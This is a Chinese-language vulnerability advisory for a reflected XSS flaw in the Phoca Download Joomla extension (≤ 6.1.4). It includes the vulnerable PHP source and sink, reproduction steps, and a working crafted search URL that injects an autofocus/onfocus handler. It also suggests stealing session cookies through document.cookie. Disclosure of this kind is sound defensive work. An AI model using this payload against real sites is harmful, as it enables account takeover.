Phoca Download ≤ 6.1.4 — 已认证攻击者可通过用户控制面板中的构造搜索 URL 执行任意 JavaScript
用于 Joomla 的 Phoca Download(com_phocadownload)在用户控制面板的文件搜索功能中存在反射型跨站脚本(XSS)漏洞。search GET 参数通过 Joomla 的 'string' 过滤器处理——该过滤器仅调用 strip_tags() 并保留 " 字符——随后未经 转义即被回显到 HTML 属性中。攻击者可以注入任意 HTML 属性和事件处理程序,在受害者浏览器加载页面时执行,无需受害者进行任何交互,只需点击构造的链接即可。
htmlspecialchars()<input value="">| 组件 | 存在漏洞 | 测试环境 | 已修复 |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
类型: 反射型跨站脚本(CWE-79)
所需认证: 已注册的 Joomla 用户(已登录)+ 用户控制面板已启用(enable_user_cp = 1)
是否需要 CSRF 令牌: 不需要 — GET 请求,此路径不检查 CSRF 令牌
接收点文件: site/views/user/tmpl/default_files_bootstrap.php
search 参数通过 Joomla 的 'string' 过滤器读取,该过滤器仅调用 strip_tags()。这会保留 " 字符,使攻击者能够突破 value="" 属性上下文并注入任意 HTML 属性。
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — 来源
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // 存储时未进行编码
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — 接收点(存在漏洞)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
同扩展中的兄弟视图 phocadownloadlinkfile 正确地对同一搜索字段应用了 PhocaDownloadUtils::filterValue($search, 'text')——等同于 htmlspecialchars()。而 user 视图未应用相同的保护,表明该扩展内部存在输出编码不一致的问题。
导航至 Joomla 登录页面并以注册用户身份进行认证。登录成功后,Joomla 会重定向到用户个人资料页面,确认会话处于活动状态。

导航至 PhocaDownload 用户控制面板:
http://TARGET/index.php?option=com_phocadownload&view=user
页面渲染时搜索字段为空(value="")。这是注入前的正常状态。

导航至以下构造的 URL(或直接在搜索框中输入原始载荷):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D

页面加载时,注入的 autofocus 属性使输入元素获得焦点,立即触发 onfocus 事件处理程序。无需进一步用户交互。
渲染后的 HTML(存在漏洞):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookie 窃取受害者的 Joomla 会话 Cookie,从而在无需凭据的情况下完全接管账户。